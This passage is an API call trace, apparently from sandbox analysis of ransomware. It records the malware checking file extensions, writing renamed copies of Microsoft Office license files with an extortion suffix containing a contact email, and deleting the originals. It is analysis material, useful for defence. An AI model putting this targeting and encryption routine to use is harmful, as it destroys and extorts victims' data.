	[0201.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.512] lstrlenW (lpString=".1cd") returned 4
	[0201.512] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83
	[0201.513] lstrlenW (lpString=".jpg") returned 4
	[0201.513] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.513] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.513] lstrlenW (lpString="O365HomePremR_SubTrial2-ppd.xrm-ms") returned 34
	[0201.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.514] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=23135) returned 1
	[0201.514] CloseHandle (hObject=0x580) returned 1
	[0201.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 0x220
	[0201.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.514] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.514] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0201.515] GetLastError () returned 0x0
	[0201.515] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x5a5f, lpOverlapped=0x0) returned 1
	[0201.820] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0201.824] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.824] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x118, lpOverlapped=0x0) returned 1
	[0201.824] SetEndOfFile (hFile=0x5d0) returned 1
	[0201.942] CloseHandle (hObject=0x5d0) returned 1
	[0201.955] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.956] SetEndOfFile (hFile=0x580) returned 1
	[0201.974] CloseHandle (hObject=0x580) returned 1
	[0201.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 1
	[0201.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.976] lstrlenW (lpString=".doc") returned 4
	[0201.976] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.976] lstrlenW (lpString=".docx") returned 5
	[0201.976] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.976] lstrlenW (lpString=".pdf") returned 4
	[0201.976] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.976] lstrlenW (lpString=".xls") returned 4
	[0201.976] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.976] lstrlenW (lpString=".xlsx") returned 5
	[0201.976] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.976] lstrlenW (lpString=".ppt") returned 4
	[0201.976] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.976] lstrlenW (lpString=".zip") returned 4
	[0201.976] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.976] lstrlenW (lpString=".rar") returned 4
	[0201.977] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.977] lstrlenW (lpString=".bz2") returned 4
	[0201.977] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.977] lstrlenW (lpString=".7z") returned 3
	[0201.977] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.977] lstrlenW (lpString=".dbf") returned 4
	[0201.977] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.977] lstrlenW (lpString=".1cd") returned 4
	[0201.977] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.977] lstrlenW (lpString=".jpg") returned 4
	[0201.977] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.977] lstrlenW (lpString=".doc") returned 4
	[0201.977] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.977] lstrlenW (lpString=".docx") returned 5
	[0201.977] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.977] lstrlenW (lpString=".pdf") returned 4
	[0201.977] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.977] lstrlenW (lpString=".xls") returned 4
	[0201.977] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.977] lstrlenW (lpString=".xlsx") returned 5
	[0201.977] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.977] lstrlenW (lpString=".ppt") returned 4
	[0201.977] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.978] lstrlenW (lpString=".zip") returned 4
	[0201.978] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.978] lstrlenW (lpString=".rar") returned 4
	[0201.978] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.978] lstrlenW (lpString=".bz2") returned 4
	[0201.978] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.978] lstrlenW (lpString=".7z") returned 3
	[0201.978] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.978] lstrlenW (lpString=".dbf") returned 4
	[0201.978] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.978] lstrlenW (lpString=".1cd") returned 4
	[0201.978] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84
	[0201.978] lstrlenW (lpString=".jpg") returned 4
	[0201.978] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.978] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.978] lstrlenW (lpString="O365ProPlusR_Grace-ppd.xrm-ms") returned 29
	[0201.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.979] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=24302) returned 1
	[0201.979] CloseHandle (hObject=0x580) returned 1
	[0201.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 0x220
	[0201.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.980] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.980] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0201.981] GetLastError () returned 0x0
	[0201.981] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x5eee, lpOverlapped=0x0) returned 1
	[0201.984] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x5ef0, lpOverlapped=0x0) returned 1
	[0201.985] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.985] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0201.986] SetEndOfFile (hFile=0x5d0) returned 1
	[0201.986] CloseHandle (hObject=0x5d0) returned 1
	[0201.986] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.986] SetEndOfFile (hFile=0x580) returned 1
	[0201.989] CloseHandle (hObject=0x580) returned 1
	[0201.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ppd.xrm-ms")) returned 1
	[0201.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.991] lstrlenW (lpString=".doc") returned 4
	[0201.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.991] lstrlenW (lpString=".docx") returned 5
	[0201.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.991] lstrlenW (lpString=".pdf") returned 4
	[0201.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.991] lstrlenW (lpString=".xls") returned 4
	[0201.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.991] lstrlenW (lpString=".xlsx") returned 5
	[0201.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.991] lstrlenW (lpString=".ppt") returned 4
	[0201.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.991] lstrlenW (lpString=".zip") returned 4
	[0201.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.992] lstrlenW (lpString=".rar") returned 4
	[0201.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.992] lstrlenW (lpString=".bz2") returned 4
	[0201.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.992] lstrlenW (lpString=".7z") returned 3
	[0201.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.992] lstrlenW (lpString=".dbf") returned 4
	[0201.992] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.992] lstrlenW (lpString=".1cd") returned 4
	[0201.992] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.992] lstrlenW (lpString=".jpg") returned 4
	[0201.992] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.992] lstrlenW (lpString=".doc") returned 4
	[0201.992] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0201.992] lstrlenW (lpString=".docx") returned 5
	[0201.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0201.992] lstrlenW (lpString=".pdf") returned 4
	[0201.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0201.992] lstrlenW (lpString=".xls") returned 4
	[0201.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0201.992] lstrlenW (lpString=".xlsx") returned 5
	[0201.992] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0201.992] lstrlenW (lpString=".ppt") returned 4
	[0201.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0201.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.993] lstrlenW (lpString=".zip") returned 4
	[0201.993] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0201.993] lstrlenW (lpString=".rar") returned 4
	[0201.993] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0201.993] lstrlenW (lpString=".bz2") returned 4
	[0201.993] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0201.993] lstrlenW (lpString=".7z") returned 3
	[0201.993] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0201.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.993] lstrlenW (lpString=".dbf") returned 4
	[0201.993] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0201.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.993] lstrlenW (lpString=".1cd") returned 4
	[0201.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0201.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ppd.xrm-ms") returned 79
	[0201.993] lstrlenW (lpString=".jpg") returned 4
	[0201.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0201.994] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0201.994] lstrlenW (lpString="O365ProPlusR_Grace-ul-oob.xrm-ms") returned 32
	[0201.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.995] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11619) returned 1
	[0201.995] CloseHandle (hObject=0x580) returned 1
	[0201.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 0x220
	[0201.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0201.996] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.996] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0201.997] GetLastError () returned 0x0
	[0201.997] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d63, lpOverlapped=0x0) returned 1
	[0201.998] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0202.000] ReadFile (in: hFile=0x580, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.000] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x114, lpOverlapped=0x0) returned 1
	[0202.000] SetEndOfFile (hFile=0x5d0) returned 1
	[0202.004] CloseHandle (hObject=0x5d0) returned 1
	[0202.004] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.004] SetEndOfFile (hFile=0x580) returned 1
	[0202.007] CloseHandle (hObject=0x580) returned 1
	[0202.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_grace-ul-oob.xrm-ms")) returned 1
	[0202.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.350] lstrlenW (lpString=".doc") returned 4
	[0202.350] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.350] lstrlenW (lpString=".docx") returned 5
	[0202.350] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.350] lstrlenW (lpString=".pdf") returned 4
	[0202.350] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.363] lstrlenW (lpString=".xls") returned 4
	[0202.363] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.363] lstrlenW (lpString=".xlsx") returned 5
	[0202.363] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0202.363] lstrlenW (lpString=".ppt") returned 4
	[0202.363] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0202.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.363] lstrlenW (lpString=".zip") returned 4
	[0202.363] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0202.364] lstrlenW (lpString=".rar") returned 4
	[0202.364] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0202.364] lstrlenW (lpString=".bz2") returned 4
	[0202.364] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0202.364] lstrlenW (lpString=".7z") returned 3
	[0202.364] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0202.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.364] lstrlenW (lpString=".dbf") returned 4
	[0202.364] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0202.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.364] lstrlenW (lpString=".1cd") returned 4
	[0202.364] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0202.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.364] lstrlenW (lpString=".jpg") returned 4
	[0202.364] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0202.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Grace-ul-oob.xrm-ms") returned 82
	[0202.364] lstrlenW (lpString=".doc") returned 4
	[0202.364] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0202.364] lstrlenW (lpString=".docx") returned 5
	[0202.364] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0202.364] lstrlenW (lpString=".pdf") returned 4
	[0202.364] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0202.364] lstrlenW (lpString=".xls") returned 4
	[0202.364] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0202.364] lstrlenW (lpString=".xlsx") returned 5
	[0202.364] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
